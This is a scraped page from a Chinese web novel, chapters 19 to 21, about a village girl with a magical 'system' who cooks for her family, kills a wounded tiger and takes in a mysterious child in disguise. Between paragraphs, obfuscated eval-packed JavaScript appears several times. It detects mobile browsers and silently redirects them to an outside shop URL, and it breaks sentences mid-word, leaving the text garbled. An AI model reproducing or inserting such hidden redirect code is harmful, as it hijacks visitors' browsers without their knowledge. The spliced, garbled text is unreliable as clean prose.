d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050763|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗡声问。 【不到一个时辰。】系统没想到自己还有充当钟表的功能,面无表情地回答。 啊,对,它本来就没有表情。 哦,才两个小时啊。 林知看了看一边的林智,他睡得正香,眼睛紧闭,小嘴巴微张,露出来的小脸也红扑扑的。 “宿主现在睡了,晚上会睡不着的。”见林知又要躺下,系统忍不住提醒她说。 岁月美好,怎么不考虑一下做些任务来赚点积分呢? “可是我现在还在长身体啊!多睡点觉怎么了?”林知理直气壮地反问。不过这一打岔,她又觉得自己睡不着了。 不过,好想吃肉啊,她摸了摸自己的小肚子,下床去了。 出门正好碰见林阿奶,她眼睛滴溜溜一转,立刻道:“阿奶,我来做晚食吧。” 林阿奶瞥了他一眼,不耐烦的挥挥手:“去去去,家里这么多大人,哪还用的上你,自己一边玩去吧。” 林知扑上去就抱住林阿奶的胳膊,就跟扭麻花一样缠着她,“阿奶,阿奶,你就让我去嘛。” 林阿奶威严地瞪眼,烧个火还行,让她做饭那还不把屋子给点了。 家里人连林大郎都不例外都怕林阿奶,但林知会怕她吗?当然不会了,她使劲儿缠着。 最后林阿奶没办法,挥挥手让林慧一起去帮忙。 林知朝一旁默默看着他们的林慧狡黠地眨眨眼,林慧看见林知那鬼灵精怪的样子,忍不住会心一笑。 林知拉着林慧溜到厨房,她有点想念以前的红烧肉了。 “阿姐,你帮我烧火吧。” 她一边把先前的肉给拿出来上好的五花肉清洗干净,切成厚块,放进锅中进行焯水。 “算了,还是你来烧火吧。”林慧故意板着张小脸摇摇头。 看着林知还要踩在小板凳上才够得着的模样,林慧接过她手中的东西,“还是我来吧,你教我。” 林知不好意思地冲林慧笑了笑,反正红烧肉也不是多难,她乖乖的坐了下来。 一边烧火,一边理论指挥。 林慧按照林知说的,麻利地边煮边不断撇去浮沫,肉变白之后再次捞出沥干水分。 “然后放油下去,先下入香叶,桂皮这些调料炒出香味。”林知快速说着。 油给倒进去了,看样子差不多了,林慧一手把先前焯过水的五花肉放进去,翻炒均匀,五花肉被煎的两边微微泛黄。 其实林知也不知道怎么告诉她佐料的比例,只能模糊地告诉林慧什么“盐少许”“倒一些糖和大酱”。 但是林慧眼睛一看就能清楚大概该放多少东西。 她将大酱,红糖和盐放入锅中,不断翻炒,让每块肉都均匀地沾上酱汁,然后再加入两碗水最后放一些干豆角,最后盖上盖子焖煮个两刻钟就差不多了。 豆角干与红烧肉搭配,两种口味都透着干香,光是闻起来就让人口齿生津。 这香味直接把林智和林敏引到了厨房,还没出锅呢,俩小孩就闻到了一股肉香味,忍不住都咽了一口口水。 林知转过身来,就看见林义及弟弟妹妹们一起站在厨房外,眼巴巴的看着里面冒着气的锅。 可真香啊! 除了红烧肉,她们还炒了个素菜和豆腐,很丰盛的晚食了,以前过节也不过如此。 19. 第19章 不一会儿,一家人就坐得整整齐齐地看着那一锅红扑扑,亮晶晶,颤巍巍的红烧肉。 “阿爷,你快尝尝。”在林义急得快要冒火的目光下,林阿爷拿起筷子夹了一块儿,鲜亮的色泽红里透黑,肉质鲜嫩香软,肥而不腻,入口酥软即化。 “好吃,行了,别看着了,快吃吧。”林阿爷好笑地看着一大家子期待的目光。 话音一落,大家齐齐举筷伸向中间的肉。 “这红烧肉炖的软烂得很耶,这肥肉一点也不腻……”林智一口吃着肉一口不忘点评。 “你这个小馋猫。”林二郎遥遥点着他的头说道。 “唔,二哥,那是我的肉!”林智控诉道。 趁着大家说笑着,只有林义筷子卷得像残云,他一筷子就夹走了林智要下筷的肉,嘴巴吃得鼓鼓的,还不忘抽空打击林智,“现在是我的了!” “哼。”林智马上转移目标,朝其余的肉下手。 一家子被林智逗得哈哈大笑,这顿饭吃得愉快得不得了。 连最后干豆角和酱汁都拿来拌饭给吃了个干净。 林知和林智摸着肚子满意地回到房间,恰好碰上罗氏在裁布。 “只只,阿智,你们过来看看。”罗氏朝他们招招手,今天那匹蓝布她们家也分了一些,她打算给林知和林智做两件新衣服。 她以手为尺,在两人身上比划着。 林知是真长高了,这身衣裳是去年做的,开春那会儿就把预留的布给放出来了,现在却又短了一点儿。 小孩子长得快,所以家里给做衣服的时候都会把袖子裤脚留长一截,到时候放下来还可以穿。 要是实在穿不下去了,就留给底下的弟弟妹妹们穿。 林智的衣服也是,连手腕都露出来了,再过几个月,罗氏估计林智就得穿不下了。 “怎么长得这么快?”她摸了摸林智的腿,问道:“长得这么快,痛不痛?” 林智被他娘摸得痒痒的,躲着她的手笑嘻嘻的说:“有一些酸酸的感觉。” 他这别扭的模样逗得林知和罗氏哈哈大笑。 罗氏放下手中的东西,让他们回去睡觉了。 她想了想,觉得最近还是得买些骨头回来炖着,不仅林知他们在长高,家里几个孩子也正是长身体的时候,需要的营养多。 ? 夜里南风起,一场秋雨淅淅沥沥的下了,将苍茫的远山笼罩这雨雾之间。 清晨,婉转的鸟啼声清晰的传入耳中。林知有些忧愁的坐在门口,还打算今天上山去呢,她系统还有一个任务没有完成。 诶,林知再度叹气。 坐在床上缝补衣服的罗氏好笑的看着林知小小的一只坐在门口叹气。 “别坐在门口,到时候万一被雨淋生病了,可得喝苦苦的药啊。” 林知只好又坐进去了。 好在,一场雨来得快,去得也快,下午天就放晴了。 犹豫了半天的林知还是决定自己上山去看看,为了避免林智他们几个小的非要跟着她去,所以她是拿着镰刀背着背篓偷偷一个人去的。 刚下过雨,山路并不好走,一阵微风将草木上的雨滴吹落下来,灌进林知的后脖子,凉嗖嗖的让她打了个寒颤。 但是收获也不错,林知喜开眉笑地扒开草丛,树叶,枯枝,一个又一个嫩嫩的小伞盖出现在视野中,黄的、红的、灰的、青的。 在秋季雨后,蘑菇长得非常快,有时候前一天还看到它小小的不好采,等到第二天再去采的时候,就会看到它已经长得高高的,甚至伞盖都打开了。 一会儿功夫,她就捡了半篓。 没注意,她就走出了小周山的范围,进入了后面鲜有人去的深山。 一直埋着头有些不适,林知直起身扭了扭脖子,放松一下。 【宿主,你的右前方,好像就是榛蘑。】林知听见系统提醒的声音立马抬眼看去。 “真的是啊!”林知一眼就看到自己这次出来的目标了。 榛蘑喜欢生长在倒地的树上,腐烂的木头桩子上,还有树根,以及树木底部潮湿的树皮上。她走到这棵倒下的大树旁,用手小心翼翼拨开旁边的杂物。 榛蘑的个头不大,没有开伞的蘑菇是最好的,品质较高。 看来自己运气不错嘛,看样子这是一场秋雨过后才长出来的,给她碰上了,林知迅速地把这些榛蘑收入囊中。 完成任务收录一棵,剩下的也够吃一顿了,林知已经打算好了。 晒干的榛蘑有一股特殊的香味,泡发后用来炖农家小笨鸡,就是有名的小鸡炖蘑菇,榛蘑的香味配上农家土鸡的香味,香上加香,用料朴实,味道一绝。 就在她准备打道回府的时候,系统突然传来警示。 【宿主,有危险!你的前方不到两百米处正有一只老虎呈攻击状态往这个方向来了。】 由于丛林比较密集,他们先前没有发现。现在离得近了,林知已经能大约看清前方不远处的影子。 她心脏狂跳,一个趔趄差点摔倒在地。 【左后方,有颗树,快爬上去。】系统话音刚落,林知就丢了手里的东西,转头就跑。 她已经听不见周围的声音,甚至没有更多想法,一心只想狂奔。 她刚爬上树干,老虎就冲了过来。 “砰”的一声,撞在了树干上。 剧大的冲击让这颗大树都跟着摇晃了起来。 林知连忙抱住树干,这时候掉下去,还不得让老虎给咬死。 她回头看,老虎此时正颇带敌意地看着她,气势汹汹,哼哧哼哧的低吼着刨着爪子,似乎马上就要冲上来把她咬碎。 “我去,这里怎么会有老虎?”看着树下围着她转好在无计可施的老虎,林知实在忍不住气得跳脚。 【不清楚。】系统也不确定。 这既不是外围,也不是荒年缺吃食,按理说应该不会碰上老虎的。 终于可以暂时确定自己安全了,林知冷静下来开始思考现在的处境。 她现在手无寸铁,就是有,也干不过一只老虎啊!可是家里人也不知道她上了山,就算他们找来,万一老虎还没有走,说不定会伤到人。 【宿主,这只老虎好像受伤了。】就在林知实在没有办法了,系统观察到了不对劲的地方。 “嗯?”林知听见这话,才仔细打量树下的老虎,它有些暴躁不安,可是脖子处有刀伤,其他地方也有大大小小的伤口。 “不会吧,难道是谁闯进了它的领地用刀把它砍了,然后人却被吃了?”林知这下更欲哭无泪了。 谁知道这里还能碰上老虎,更无语的是,竟然有人把它惹到了,那不是不吃到她不罢休了? 【宿主,还有我呢。】系统无语地看着快要被吓破胆的林知。 “我当然知道,这个时候你还要找存在感啊?”林知现在脑子有点懵,根本没有理解到它的意思。 一阵沉默。 “对啊,还有系统啊!”林知一拍脑袋,埋怨自己实在关键时刻掉链子。 “所以,你有毒药吗?”林知首先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053801|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到的就是直接投毒把老虎给毒死。 【没有,这是禁品,不能通过系统交易。】 为了更有说服力,系统解释道:【作为为高等智慧生物服务的科技,我们是不被允许交易这种大型杀伤力的东西的,以免有人以此对其他人产生不可控制的伤害。】 又是一阵沉默。 树下的老虎隐隐不安,已经在尝试要开始上树了。 林知被这一幕吓得目瞪口呆,她怎么忘了,老虎可是会爬树是啊!!! 幸好这棵树比较高大和直,暂时她还安全。 【建议宿主买一只麻醉剂和匕首。】系统也察觉到现在情况不容乐观,干脆地说。 “行,买!”林知眼睁睁地看着她好不容易攒到这么多的积分瞬间几乎为零,心疼得不行。 系统看着她这肉疼的模样,解释道:【因为麻醉的效果要远远超过这个时代,所以比较贵。】 林知:……你们才是真的无良商家! 【到了。】 半刻钟后,林知现在咬牙切齿恶狠狠的看着树下的老虎,谋我钱财,如同杀人父母。她手里拿着一只小型手枪,里面有一只细细的麻醉针管,直接瞄准老虎的脖子一按。 “咻” 老虎感觉到脖子处的疼痛,剧烈的跳动起来,但几秒过后,它就躺在地上不动了。 林知从树上折根树枝扔在它身上,确定不动了,她抱着树干快速滑下来。 手一点都不抖地拿着匕首就割在老虎先前受伤的脖子处。 匕首出奇的锋利,毫无阻力地划破了老虎的皮肉和血管,林知的脸上被溅到了一些血,她用衣角擦了擦。 “呼,好险。”过了片刻,确认了老虎的确是死了,她收拾起先前的东西。 林知毫无心理负担,毕竟对于要吃她的老虎,她可不会什么心软。对敌人的仁慈,就是对自己的残忍。 看着眼前近乎三米多的老虎,林知眼珠子一转,老虎在古代也应该值不少钱吧。 于是林知两只小手使出吃奶的劲才的把老虎拖到一处低洼处,再扯一些草简单的把尸体给盖上,以免到时候被别人捡走了,当然,这里面也不会有什么人来。 林知背上背篓欢快地往回走了,虽然损失了不少,但是凭借这只老虎给卖了,他们家今年也能过个好年了吧。 【宿主,检测到生命特征。】 林知脚步一顿,不会吧,又来? 【是两只刚出生的小虎崽,不过有一只已经失去了生命特征。】 林知脚步一转道:“在哪啊?”小老虎啊,去看看,边埋冤,“你下次说话能不能一次性说完,我迟早会被你吓死的一天。” 【左边的洞里。】 林知上前扒开草,果然看见两只才出生不久的小虎崽,其中一个已经有些僵硬了。 她用手把幸存的那只给掏了出来,用衣角包了一包捧着走了。小虎崽刚出生,眼睛还没有睁开,感受到热源,朝林知怀里拱了拱。 “明明是要生产的老虎为什么还跑出来了?” 不应该安静待在巢穴嘛? 【不远处有打斗和奔跑的痕迹。】系统默默扫描了一下。 “难道是这只老虎正在生产,结果有人闯进来了被视为挑衅,然后他们一死一伤。老虎还是生了孩子,结果又被我碰上了,它对人类敌视,所以才攻击我?” 所以自己这是被殃及池鱼喽?林知小脸一黑,自己也太倒霉了吧。 其实林知不知道,她这一通胡乱猜测却恰好就是真相。 20. 第20章 等她原路返回走出林子的时候,天已经快要黑了,路上更不见什么人。 林知急忙往家里赶,她怕万一家里人找不到自己有可能会担心。 暮色苍茫,从山上回来的小路上,林知正背着一个沉甸甸的背篓,因为走得急,她有些气喘吁吁。 夕阳的余晖已经散了,她笼在最后一丝暮色中,身形清瘦。 “阿姐……你在哪里啊?” “二丫!” 风中隐约飘来一些呼叫声,等走进了一些看见不远处的两个人影,林知才发现好像真的有人在叫她。 林义和林智也发现了不远处的林知,急忙跑过来。 “阿姐,你去哪了?家里人都担心得不得了。”林智被林知一手塞过一个东西,“这是啥?” 林知摆摆手,速度不减地往前走,“回去再说。” 等他们赶着回去,天已经彻底黑了。 “阿娘,阿姐回来了!”林智飞快跨入屋子,一边高喊道。 屋里面的人急得满头是汗团团转,罗氏出门一看见林知完好无损的样子,先是松了一口气,又马上垮下脸。 “你去哪里了?家里人有多担心你知道吗?” 林知放下背篓,乖乖的站在门口,有些无措的低着头。 罗氏眼睛红红的似乎哭过了,林知还是第一次见她娘这么生气的样子。 “我……我去山上了。”林知嘴巴蠕动着小声回答,她是从山上那条小路回来,林义和林智都看见了,也找不到什么借口了。 “去把老大老二他们叫回来吧,还有老三,别去麻烦村长了。”林阿爷站在堂屋上首,指挥着剩下几个小孩儿。 之前找不到人,他们还去找村长帮忙可能要去报官了,可是村里就这么大,如果有陌生人进来,大家不可能不发现,所以被拐走的几率不大。 说着,林阿爷才看向站着的林知,烛火昏黄,但也不难看清林知衣角上的血迹,他脸色一白,身体晃了一下差点站不住。 但是观察林知面色安然无虞,不像受伤了的样子,林阿爷深吸一口气:“怎么回事?你衣服上哪里来的血?” 罗氏和林阿奶心下一惊,她们刚才只顾着看林知回来了,还没有仔细看她呢。 林知眼瞧着罗氏急忙冲上来要扒拉她了,她急急开口道:“阿娘,不是我的!真的,我没事儿。” 没等大家再问,她就直接开口解释:“我今天只是打算山上看看有没有蘑菇的,结果在外围碰到一只老虎,因为难产已经快要死了。” “然后我就爬到树上,等它死了才下来,所以就回来晚了,我真的不是故意的。” 谎话的最高技巧就是三分真七分假,所以林知真假参半的说了今天发生的事。 谁知脸色本就不好的林阿爷脸一黑,更加生气了。 “给我跪下!”林知被林阿爷拍桌子“碰”的一声吓得一下子就跪到地上去了。 “身体发肤,受之父母。你小小年纪就如此胆大冒险,把自己置于危险之地。” “如此不爱惜自己的身体,让父母亲人为你担心。犯了错还狡辩撒谎,那就给我跪着,好好反省你错在哪儿!” 林阿爷活了几十年的人了还不知道,小周山哪里会碰得上老虎,铁定是这丫头仗着没有人拘束,跑到深山去了。 林阿奶看林阿爷被气得倒仰,立马上手给他顺气。 系统:哦豁—— 林知看着她阿爷动了真格,更是大气也不敢出地乖乖跪着。 但是跪了一会儿,地上又凉又硬,她不动声色地挪了挪地儿,还不忘委屈巴巴地偷偷去看她娘。 罗氏背过身去偷偷抹眼泪,天知道她刚才看见林知平安回来有多庆幸。 今天下午一发现林知不见了,几个大人孩子在村里找了一圈儿,都说没看见过她。 他们就跑去河边找,昨夜下了雨,河里涨了水,因着前些年村里也发生了孩子掉河里没救上来的惨案,他们也生怕林知掉河里给冲走了。 好在是去了山上,以为没出什么事。却是又遇见了老虎,差点……如果真的出事了,这叫他们怎么活? 林知见求娘无望,只好乖乖的把屁股搁在后腿上跪坐着了,好在林大郎他们很快就回来了。 林大郎他们一进来就看见这幅模样,也不敢劝什么。 “好了,不过还是个小孩子,教训教训就行了。”见气氛凝滞,林阿奶劝着林阿爷道。 “是啊,阿爷,山上那大老虎还没有抬回来呢。”林知趁机就想爬起来。 “你给我好好跪着!”林阿爷大声吼道。 “什么,大老虎!”两道声音同时响起。 林三郎震惊地大叫起来,大老虎这山里倒是有人见过,但是野兽得多危险,他这侄女儿就敢招惹。 林二郎则是急忙去看林知有没有受伤,看她跪在地上还能生龙活虎的做着小动作的样子也不像有事,这才松了一口气去看林阿爷。 林知听见她阿爷的声音,只好又乖乖地跪回去,心里委屈得都要哭出来了。 林阿爷看着这些不省心的事儿,最后揉了揉额头,无奈开口道:“老大老二老三,你们推着板车到山上走一趟吧,带上蓑衣。” 天色阴沉沉的,怕是要下雨。 虽然山路不好推车,但少说也得几百斤的老虎仅靠他们几个人也弄不回来,还是放在板车上推更方便。 这黑灯瞎火的,也幸好林知聪明,提前给做了记号,要不然还不得摔到沟里去。 这去来的距离也不近,得要个几刻钟吧。 林知就这么跪在地上一直等着,夜里本来就凉,更别说跪在地上了。加上她今天上山衣服就淋湿了一些,又是上树又是跑回来,担惊受怕折腾了大半天也累得不行了。 “老二家的,去给孩子熬碗红糖姜水去去寒。”林阿奶看她跪着都在发颤了,连忙把林知带回房里裹在被子里。 “诶!”罗氏见林阿爷看着林阿奶这些举动也没有说话再拒绝,便知道他是气消了,连忙去厨房熬汤。 “换了干衣服再睡。” 林知被罗氏灌了一碗红糖姜汤,甜辣辣的味道一点儿也不好喝,但是林知身子总算暖和了一些,靠在被子上她就昏昏欲睡了起来。 恰好林大郎他们也回来了,外面吵闹得很,让林知这时也无心睡眠了。 这时候,林智不在外面凑热闹,而是偷溜进了房间。 “阿姐,那只小虎崽我放在二哥的房间里了,这样没人会发现。”林智趴着他姐床边小声地说。 林知现在也没有精力关心这些,她只轻轻的“嗯”了一声。 马上就接着问,“外面怎么了?他们在吵什么?” 林智靠过来神神秘秘的说:“阿爹他们搬老虎的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053802|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现了一个人!” “人?”林知惊奇地问:“什么人啊?” “系统你当时怎么没有发现啊?”林知也在心里默默问了系统。 【可能当时他并没有在我的扫描范围之内吧。】当然,现在他就知道屋子里具体是什么情况了。 “阿姐,你有没有听我说话……”林智看他姐一副神游天外的表情,扯了扯被子问道。 “嗯。”林知回过神来敷衍地回道,“算了,还是我自己去看看吧。” 她直接掀开被子下了床就跑出去了。 “阿姐!你又跑出去干嘛?”林智像个小老头一样摇摇头追上去,一边无奈叹气,哎呀,阿姐真是不省心! 不知何时又下起了大雨,屋外是滂沱的大雨,细密的雨帘模糊了视线。 林知拢了拢身上的衣服,小心翼翼穿过走廊要去到对面屋子,她隐隐约约看见家里人都汇聚在那儿。 水柱不断地顺着低斜的屋檐瓦沟里流淌直下。 院子的门“嘎吱”一声被从外面打开,几个披着蓑衣淋雨进来的人急匆匆往里走。 林三郎一手举着油灯,一手护着身边的老大夫冲屋子里高喊道:“来了来了!大夫来了。” 林知仗着人矮眼杂,毕竟现在大家忙也没空关注她,短腿一迈直接跟在后面进了房间。 屋子里只剩下林阿爷、林阿奶和罗氏几个人,其他人都在堂屋去看老虎了,这东西可不能就这么放在堂屋,万一吓到别人了怎么办? 老大夫坐在床边正在把脉,他半眯着眼半晌开口:“没有什么大事儿,就是多日未进食水饿得昏厥了,加之淋了雨有些感染风寒,你们喂点米粥,我再给开两副药去去寒。” 他把床上的人的手给塞回被子细心盖好,刚站起来就看见默默在角落里偷看的林知。 老大夫眯了眯眼:“林家二丫头看着也是感染了风寒啊,现在还不明显,夜里发作起来可不好,我顺便也开两幅药吧。” 林知看大家的视线都看向了自己,忍不住缩了缩脖子,尴尬地笑了笑。 林阿爷瞪了她一眼,林知讨好似的嬉皮笑脸地凑近,也刚好看清了床上躺着的人。 大约七八岁的样子,头发用碧色的缎带系着,梳着双髻,穿着鹅黄色的衣裙,对襟处绣着一圈兰花,明眸皓齿,粉雕玉琢。 一个女孩子?而且这衣料也不像寻常人家能穿得起的,林知也是不由一愣。 她在这边愣神,罗氏已经接过药去厨房熬药了,还得熬一些米汤。 一旁的林阿爷也在送老大夫出门:“真是麻烦您了,这大晚上的。” 老大夫摆摆手,提着药箱要走,“这都是老朽该做的,这也是给了报酬的不是吗?” 他笑了笑,林家人晚上这么大的雨急成这样来请大夫,吓得他还以为出了什么大事儿,还好不是。 林阿爷把林三郎招来,嘱咐他道:“下着雨呢,你把老大夫给送回去。” 周老大夫正要推辞,林阿爷握住了他的手,“这样安心……还有今晚的事儿就麻烦您先暂时不要往外说……” 他还多拿了一些钱当做报酬,毕竟这大晚上的也不容易。 老大夫见罢也不好再拒绝:“你放心好了……” 这种天气在山上发现人,看样子还是富贵人家,背后牵扯的事儿必定不少,他也不想因为自己林家惹上麻烦。 21. 第21章 林知才没有心思听林阿爷他们的墙角,她此时正趴在床边眼巴巴的看着床上躺着不醒的人。 “可真好看啊!难怪古诗有言:‘秀色掩今古,荷花羞玉颜。’”虽年纪尚小,长大后必定是个美人胚子。 其实林知长得也不丑,就是刚来的时候有点面黄肌瘦,面黄倒也称不上,她像罗氏白而且不容易晒黑,最近长开了一些,也有些好看了。 系统听见她的心声,默默无语。只内心吐槽,当然,这是林知自认为的。 罗氏端着碗进来的时候,就看见林知这幅托着下巴、目不转睛地盯着床上的人看。 “只只,快趁热把大夫给你开的药给喝了。”罗氏递过来一碗药。 林知皱着一张小脸,苦哈哈的把药给喝了,没办法,她现在可不敢讨价还价,今天的账还没有算完呢。 罗氏看她乖乖的听话喝了药就放心了。 “天晚了,你还生着病呢,先回房睡吧。”罗氏端着一碗小米熬成的热粥作势要给床上躺着的人喂。 “阿娘,我不困,等一下再回去睡觉。”林知摇摇头拒绝道。 “你呀!”罗氏笑着点了点林知的额头,她还不清楚林知的性子,这丫头最是爱凑热闹的。 罗氏细心的给病人一小勺一小勺的喂粥,虽然进的少但还是能吃一点点,但是半天也才吃一小碗。 看着林知疑惑的样子,她耐心解释:“这病人啊,太久没吃东西了,熬成米汤的小米粥最是养胃,现在最适合她。 “而且她现在还昏迷不醒,没有意识。所以是吃不下东西的,喝点水才行。吃了东西才可以喝药,这胃里啊才不会难受。” 林知受教地点点头,看到罗氏虽然看着速度慢,但是渐渐的一碗粥已经见底,她殷勤地递上已经冷掉的药汁儿。 可能是喝了一点粥有了力气,躺着的人也开始主动咽下药汁,并没有花费罗氏多少时间和气力。 罗氏怜爱的摸了摸她的额头,把被子仔细给她盖好,“就瞧着和你差不多大吧,这么好的孩子,谁家这么狠心啊。” 收拾了东西,罗氏这下不容林知撒娇卖萌了,“行了,你这下真该回去睡觉了。” “哦,好吧。”林知不情不愿的回了房,她摸着下巴,“我总觉得不对,系统你帮我看着点那个人。” 这深夜这么大的雨,小周山还在村后面。既然村里人没有发现她,说明她不是从前面来的,而是山后…… 山后可是一大片密林,平时村里人也不会进去的,她一看就是个娇小姐怎么会出现在那些地方。 系统只好答应了,反正它又不用休息,这么近的距离还是可以免费替宿主看一下的。 兴许是药效发了,林知躺在床上不一会儿就进入了梦乡。 半夜明明还是阴雨绵绵,林知却感觉很热,她不知道自己有一些低烧,就感觉身体和眼皮好沉,怎么也挣扎不出来,而且还听见身边不断有人在说话。 “只只,来,喝点热水。”罗氏摸了摸她的额头,有些发热。 林知被半抱着没有意识的喂水,兴许是烧得嘴皮都干了,她囫囵地喝了半碗温水。 “这孩子,半夜睡觉总是不安生,还踢了被子。”林二郎给林知盖好她刚才踢开的被子。 “就这么烧着,没问题吧?”林二郎看林知这么难受,忍不住心疼道。 “她刚才喝了药,现在烧一烧,闷出了汗就会好一些。看明天早上能不能好起来,不行再去找大夫吧。”罗氏劝说。 可以因为半夜发了烧,林知睡得并不安稳。倒是天快要亮的时候,她烧才退了才睡得安稳了。 罗氏他们才松了一口气。 可是,下了一夜的雨,不仅没有要停的迹象,反而越下越大了。 清晨一大早。 “阿爹,看样子,这雨是一时半会停不了了。”林二郎担忧地看向他爹。 他们昨夜是打算今天一早就下山去县里,一方面林三郎有些门路可以趁早把那只老虎处理了。另一方面就是去报官,他们也不能一直把那个孩子留在家里吧,万一人家家里人也在着急找怎么办? 可惜,看这雨,怕是暂时去不了了。 * 几天前,京城,俞府上房。 小径无灯,唯有星与月投下的微弱光影,勉强能将眼前的路照亮。 一个小厮打扮的人提着一盏灯在前面引着路:“小少爷,世子在书房等你。” “父亲,你找我?”七八岁的孩童还有些天真不谙世事,他揉了揉睡得迷糊的眼睛看向他爹。 俞宁正坐在书桌后面色沉重的写着一封信。 一旁穿着一件宝蓝色的长裙的夫人正在低泣着收拾行李。她的头上梳着高高的发髻,别着一只简单精致的发钗,仪容端丽,美丽大方。 “阿珩。”看见眼前人,俞夫人不舍的蹲下来把他拥入怀中,声音有些哽咽,从小在她身边长大的孩子还没有离开过这么远呢。 “母亲,你怎么了?”俞珩掏出来手帕关切地擦了擦俞夫人的眼角。 “珩儿,这段时间你去商州住一段时间吧,家里已经安排好了。”俞宁沉思一会儿,还是开口道。 “父亲,出了什么事儿吗?”虽然年纪尚小,但是该有的敏锐感和洞察力还是有的,俞珩早就发现了家里最近氛围有些不对,没想到竟然还要把自己送走。 “你不必过问,担心我们最好的办法就是好好照顾自己,明白吗?”俞宁蹲下来轻柔的摸了摸他的头。 “要不了多久,我们就回去接你的。” “嗯。”俞珩看了看父亲和已经默默抹泪的母亲,最后郑重的点了点头。 赵管事在一旁站着,神色略带一丝凝重,向俞宁禀报道:“世子,时辰不早了,该让小少爷启程了。” 片刻之后。 俞珩放慢脚步,缓缓地从侧门而出,他回头看了看,最后不舍地进了马车。 马车不大也没有象牙玛瑙等饰物,看起来简单朴素,其实这辆马车加了竹篾减震,内部有一些机关设计,暗格等细节。 马车缓缓朝俞府外而去。 寅时五刻,凌晨天还未亮,正是人一天睡得最熟的时刻,漆黑的夜,幽静的街道。 寂静的街道上偶尔传来打更的声音。除此之外,安静地可怕。 过了大约有一炷香的时间。 忽然—— “吁——”车夫紧张地拉紧绳子,马匹高高扬起前腿,不甘不愿地停住。 坐在马车里的俞珩微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057414|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拧眉。 “怎么回事?”竹秋面色不虞,掀起帘子朝外看去。寂静的街道上,站着两排士兵,带头的将士一手执刀,一手拿着令牌,“前面的马车停下来,例行检查。” 郑伯和竹秋虽然心中有数,但还是不免有些担忧。 这个时辰,已经快开城门了,为何还要巡逻,看来最近的防卫是真的加强了不少,看着团团将要围着马车的官兵,郑伯心中暗自叫苦。 于是他马上换成一抹惊慌的表情,顿时跳下马车,还趁势塞过去一个沉甸甸的钱袋:“几位军爷,发生何事了?我们家小姐只是出城走个亲戚。” 熟稔地避过耳目收好钱袋,那领头的军官原本威严冷肃的脸色有一丝和缓:“最近宵小作祟,这巡防嘛,就勤了点。检查一下马车里的人就放行。” 郑伯和竹秋对视一眼,心里有了对策。 太子病逝,几位皇子要求进京替兄尽孝几乎是人尽皆知的事。 最近京城严防也是有理的。 “快些掀开!不然将你们全都关到衙门里去!”那军官冷声催促。 竹秋冷哼一声:“什么东西!也敢在我们小姐面前耀武扬威?也不看看自己什么身份,到时候耽误了行程,我们老爷直接把你这身衣服给扒了!” 那军窝眼底闪过一丝狐疑。 京城最多的是什么?那就是官,谁知道自己惹上的窝七拐八拐的会不会拐到皇亲国戚身上?所以遇到蛮横的人,一般人还真要后退几步。 气氛凝滞,就在两方对峙不下之时。帘子被掀开了。 俞珩这才在竹秋扶持下下了车,他站定后,朝军爷微微一点头示意。 下来的人梳着双髻,一身嫩粉衣衫,眉眼初具,举手投足之间尽显尊贵。此刻的他,不是俞家的小公子,而是温雅娴淑的闺阁千金。 “有劳将军了。” 清凌凌的一句话看似简单,却给几个将兵不小威慑力,这么多人面前还能面色不改,看起来的确是来头不小的人,他们也不敢再作福作威。 俞珩定定的看着眼前的人掀开车帘往里看了看,并没有发现什么异常,他们就挥手放行了。 这人啊,一旦给对方示弱,被抬得太高就会蹬鼻子上脸,反而不知天高地厚。 “呼,还是夫人他们有先见之明。”竹秋是俞夫人派给俞珩的人,见马车终于顺利出了城,才开口说道。 俞珩安静坐着也不知道在想什么,并不搭话。 * 最近因为圣上身体不好,几位皇子行事越发放纵,公然结党营私,拉帮结派,皇城里人人自危。当然,也有心大想要争一争这从龙之功,不断搅浑水想趁机摸鱼。 不过,更多的人还是在观望,毕竟全族大事,谁也不敢贸然下场。 一个黑衣身影单跪在地上:“世子,小少爷已经出了城,我们放出去混淆视听的人果然引来了一些人。” 俞宁捏了捏手腕,放下手中的笔,才抬头看他:“后面的尾巴扫干净了吗?查一下是谁的人。” 